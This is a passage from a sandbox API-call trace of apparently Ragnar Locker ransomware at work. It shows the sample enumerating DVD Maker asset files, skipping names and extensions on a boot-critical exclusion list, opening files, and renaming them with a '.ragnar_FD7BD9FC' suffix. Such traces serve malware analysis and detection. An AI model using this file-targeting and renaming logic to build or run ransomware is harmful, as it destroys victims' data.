(lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.229] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.229] lstrcpyW (in: lpString1=0x1eab66, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.229] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.229] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.230] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.230] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0079.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.230] CloseHandle (hObject=0xffffffff) returned 0 [0079.230] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" [0079.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.230] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.230] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.230] lstrcpyW (in: lpString1=0x1eab66, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.231] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.231] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.231] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0079.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.231] CloseHandle (hObject=0xffffffff) returned 0 [0079.232] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" [0079.232] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.232] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.232] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.232] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.232] lstrcpyW (in: lpString1=0x1eab66, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.232] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.232] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.232] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0079.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.233] CloseHandle (hObject=0xffffffff) returned 0 [0079.233] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" [0079.233] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.233] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.234] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.234] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.234] lstrcpyW (in: lpString1=0x1eab66, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.234] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.234] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.234] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0079.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.235] CloseHandle (hObject=0xffffffff) returned 0 [0079.235] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" [0079.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.235] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0079.235] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.235] lstrcpyW (in: lpString1=0x1eab66, lpString2="Panel_Mask.wmv" | out: lpString1="Panel_Mask.wmv") returned="Panel_Mask.wmv" [0079.235] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv") returned=".wmv" [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="autorun.inf") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="boot.ini") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="bootfont.bin") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="bootsect.bak") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="bootmgr") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="bootmgr.efi") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="bootmgfw.efi") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="desktop.ini") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="iconcache.db") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="ntldr") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="ntuser.dat") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="ntuser.dat.log") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="ntuser.ini") returned 1 [0079.235] lstrcmpiW (lpString1="Panel_Mask.wmv", lpString2="thumbs.db") returned -1 [0079.235] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.236] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.236] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.236] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.236] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.236] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.236] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0079.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.236] CloseHandle (hObject=0xffffffff) returned 0 [0079.236] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv") returned="\\\\?\\C:\\Program Files\\DVD 